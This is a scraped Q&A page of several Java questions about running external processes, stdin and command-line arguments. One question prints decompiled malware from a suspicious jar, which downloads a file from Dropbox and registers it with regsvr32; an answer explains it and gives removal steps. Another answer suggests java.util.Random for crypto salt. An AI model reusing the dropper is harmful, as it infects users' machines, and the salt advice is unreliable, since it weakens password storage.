Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I'm having trouble reading both arguments and stdin from the command line when running a java file. I can read in arguments on their own and stdin on it's own but not together; for example:
java myFile 6 2 < numbers.txt
I can get it to store 6 and 2 in an array but then it just stores "<" and "text.txt" also. I've been unable to find anything online describing a similar problem so not really sure where to begin.
Command-line arguments are received in the String[]-typed parameter of the main method. Input redirection is done the same as for any other process invoked at the command line. The bytes can be retrieved by reading from stdin until EOF is reached.
Command: java myClass myArg < myFile
public static void main(String[] args)
{
System.out.println("Arg 1 = " + args[0] + "\nStdin = ");
try (InputStreamReader isr = new InputStreamReader(System.in)) {
int ch;
while((ch = isr.read()) != -1)
System.out.print((char)ch);
}catch(IOException e) {
e.printStackTrace();
}
}
For more info:
http://docs.oracle.com/javase/tutorial/essential/environment/cmdLineArgs.html
http://docs.oracle.com/javase/tutorial/essential/io/cl.html
Related
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
We don’t allow questions seeking recommendations for books, tools, software libraries, and more. You can edit the question so it can be answered with facts and citations.
Closed 7 years ago.
Improve this question
We are using Access database for a project along with Java. We have some Macros in Access database and we need to run those from Java. Is there any way to execute those macros from Java?
The following code works for me in NetBeans 8 on Windows 8.1. It writes a temporary VBScript file and then runs it using cscript.exe:
package runaccessmacro;
import java.io.*;
public class RunAccessMacro {
public static void main(String[] args) {
String dbFilePath = "C:\\Users\\Public\\Database1.accdb";
String vbsFilePath = System.getenv("TEMP") + "\\javaTempScriptFile.vbs";
File vbsFile = new File(vbsFilePath);
PrintWriter pw;
try {
pw = new PrintWriter(vbsFile);
pw.println("Set accessApp = CreateObject(\"Access.Application\")");
pw.println("accessApp.OpenCurrentDatabase \"" + dbFilePath + "\"");
pw.println("accessApp.DoCmd.RunMacro \"doRidLogUpdate\"");
pw.println("accessApp.CloseCurrentDatabase");
pw.println("accessApp.Quit");
pw.close();
Process p = Runtime.getRuntime().exec("cscript /nologo \"" + vbsFilePath + "\"");
p.waitFor();
BufferedReader rdr =
new BufferedReader(new InputStreamReader(p.getErrorStream()));
int errorLines = 0;
String line = rdr.readLine();
while (line != null) {
errorLines++;
System.out.println(line); // display error line(s), if any
line = rdr.readLine();
}
vbsFile.delete();
if (errorLines == 0) {
System.out.println("The operation completed successfully.");
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
Notes:
This will only work on a Windows machine with Microsoft Access (the actual application, not just the Access Database Engine) installed.
The "bitness" of the JVM under which the Java code runs should match the "bitness" of the version of Access installed (i.e., both 64-bit or both 32-bit).
Some tweaking may be required under certain circumstances, e.g., Java code being executed by a web server may be prohibited from shelling out to cscript.exe by default.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I have a C++ program which uses command line as its mean for IO. I don't know C++, nor do I have the program's source code. I want my java application to open the C++ program , give some input and gather the result from the C++ code. Is there a way?
UPDATE: I need to enter the input at runtime.
You can use java.lang.Runtime
For example:
public class TestRuntime {
public static void main(String[] args) {
try {
Process p = Runtime.getRuntime().exec("test.bat");
// test.bat or test.sh in linux is script with command to run (c++) program
// or direct path to application's exec
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
In addition, you can read about difference between Runtime and ProcessBuilder in this topic.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I have a code that is running on NodeJs. We would like to change the technology (to java).
The problem is we have some existing passwords, and I am not sure how to I copy the encryption logic to java.
So, one of the possible solutions is to run the encryption logic in javascript (e.g. command line, embbeded in the java, etc) and get the result back.
The question is - how do I do that?
The nodejs code goes like this:
crypto = require('crypto');
this.salt = this.makeSalt();
encryptPassword: function(password) {
var salt = new Buffer(this.salt, 'base64');
return crypto.pbkdf2Sync(password, salt, iterations, keylen).toString('base64');
crypto.randomBytes(..)
}
makeSalt: function() {
return crypto.randomBytes(numOfBytes).toString('base64');
},
UPDATE:
Following the suggestions here, I added the full code. If the right way of doing it is by transforming the javascript code to java code, can you please help me translated the above code?
You should not do this, if you want random bytes in Java do this. You should be able to replicate the encryption logic in Java.
byte[] b = new byte[20];
new Random().nextBytes(b);
Almost all of the Node.js crypto functions are generic, and should have their own Java counterparts or 3rd party libraries.
Update
If you must run your node code via java you can add this method
public static String runCommand(String command) {
String output = "";
try {
String line;
Process process = Runtime.getRuntime().exec( command );
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()) );
while ((line = reader.readLine()) != null) {
output += line;
}
reader.close();
} catch (Exception exception) {
// ...
}
return output;
}
and run it like this
String encryptedPassword = runCommand("node myEncryption.js --password=1234");
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
This is a jar executable file I just obtained. It looks like a some kind of a virus. stealing passwords. I think. but I dont know what it actually do. I decoded it by a software and obtained the code.
so can some one please just look at this code (DO NOT RUN IT) and just explain what is actually done in this code?
public static void Run() throws IOException
{
int i = 3;
while (i < 9)
{
Runtime.getRuntime().exec("regsvr32 /s C:\\temp\\YQJHBJX.PWY");
i++;
}
}
public static void main(String[] args) throws Exception
{
new File("C:\\temp\\").mkdir();
File localFile = new File("C:\\temp\\YQJHBJX.PWY");
if (localFile.exists())
{
Run();
}
else
{
String[] arrayOfString1 = "f6pb6ya5e5vc0q5/d.dat?dl=1###21urb4zg9n2on4s/d.dat?dl=1".split("###");
for (String str1 : arrayOfString1)
{
URL localURL = new URL("https://dl.dropboxusercontent.com/s/" + str1);
HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
localHttpURLConnection.connect();
if (localHttpURLConnection.getResponseCode() / 100 == 2)
{
String str2 = "https://dl.dropboxusercontent.com/s/"+ str1;
String str3 = "C:\\temp\\YQJHBJX.PWY";
goToWeb(str2, str3);
break;
}
}
}
}
public static void goToWeb(String paramString1, String paramString2) throws IOException
{
System.out.println(paramString1);
System.out.println(paramString2);
InputStream localInputStream = URI.create(paramString1).toURL().openStream();
Files.copy(localInputStream, Paths.get(paramString2, new String[0]), new CopyOption[0]);
Run();
}
It's downloading a most likely malicious file from dropbox and registering it as a DLL. Exploit is in that file: "C:\temp\YQJHBJX.PWY" unregister it with regsvr32 /u and delete it if it exists.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
Guys please suggest me some good way to handle below in java.
I need to open an FIFO , check if there is any error in opening , then
Read from the Fifo and write into an File .
I will really glad if anyone could help me with this .
To read a fifo with java, you treat it like a regular file, I used the code below to verify
import java.io.InputStream;
import java.io.FileInputStream;
import java.io.ByteArrayOutputStream;
class catfile {
public static void main(String[] args) throws java.io.FileNotFoundException, java.io.IOException {
byte[] b = getBytesFromInputStream(new FileInputStream(args[0]));
System.out.print(new String(b));
}
public static byte[] getBytesFromInputStream(InputStream is) throws java.io.IOException {
ByteArrayOutputStream res = new ByteArrayOutputStream();
byte[] bytes = new byte[0x10000]; /* 0x10000 = 65536 */
int numRead = 0;
while ((numRead = is.read(bytes, 0, bytes.length)) >= 0) {
res.write(bytes, 0, numRead);
}
return res.toByteArray();
}
}
the test went as follows
$ rm -f aaa; mkfifo aaa; (sleep 5; date >> aaa) &
$ javac catfile.java && java -ea -cp . catfile aaa
Thu Dec 5 08:18:51 UTC 2013